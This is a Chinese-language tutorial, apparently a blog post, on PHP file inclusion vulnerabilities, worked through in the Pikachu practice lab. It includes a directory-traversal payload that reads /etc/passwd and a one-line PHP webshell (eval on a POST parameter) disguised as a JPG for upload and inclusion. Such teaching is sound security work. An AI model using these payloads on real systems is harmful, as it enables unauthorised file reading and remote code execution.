常见的文件包含函数

  • include():执行到include时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行
  • require():只要程序一运行就包含文件,找不到被包含的文件时产生致命错误,并停止脚本
  • include_once()require_once():若文件中代码已被包含则不会再次包含,只包含一次,再次包含的话就不会生效

如果文件包含过滤不严谨的话就会存在文件包含的漏洞

文件包含漏洞代码分析

使用皮卡丘靶场,可以看到这里会有一个文件引用

文件包含漏洞原理和利用_上传

并且这里的filename的值是可控的

去看一下他的代码是如何写的

文件包含漏洞原理和利用_php_02

这里有一个判断,我们只需要注意filename这个参数,这里就判断这个参数是否为空

通过了判断,进入到if方法里面,直接把filename这个参数接收到的值赋值给$filename这个变量

include "include/$filename";

然后就是直接include包含$filename变量的这个文件了

这里没有对filename接收到的参数做任何的过滤

文件包含漏洞原理和利用_php_03

这里面就是一个file1.php文件的内容,里面引用了一张图片

文件包含漏洞的利用方法

文件包含漏洞,需要引入上传的文件到网站目录,或者服务器内部的文件,而且权限必须是当前权限可读的才能引入进来,或者远程包含进来,但是远程包含需要条件,本地包含无需条件

本地包含文件

被包含的文件在本地

例如Linux系统下面的/etc/passwd文件

正常来说我们的引用就是直接输入/etc/passwd

但是可以看到程序的源码中写的是

include "include/$filename";

文件包含漏洞原理和利用_php_04

也就是我们如果filename参数输入/etc/passwd的话,那么程序包含的就是

include "include//etc/passwd";

这样肯定是包含不到的,所以我们还需要返回到根目录下面进行包含

include "include/../../../../../../../../../../etc/passwd";

这里的../随便有多少个,因为当他返回到/的时候再进行../也可以,我们的目的就是为了到达/目录

文件包含漏洞原理和利用_php_05

文件包含图片

寻找网站上传点,把php恶意代码文件改成jpg上传到网站上,本地包含引入恶意代码,当文件被引入之后代码就被执行

<?php phpinfo();eval($_POST['cmd']);?> 保存为shell.jpg

上传图片格式到网站,再用文件包含漏洞引入图片,成功执行代码

文件包含漏洞原理和利用_文件包含_06

但是这个地方的图片路径需要根据当时的环境去逐个尝试

被包含之后里面的PHP恶意代码就会被执行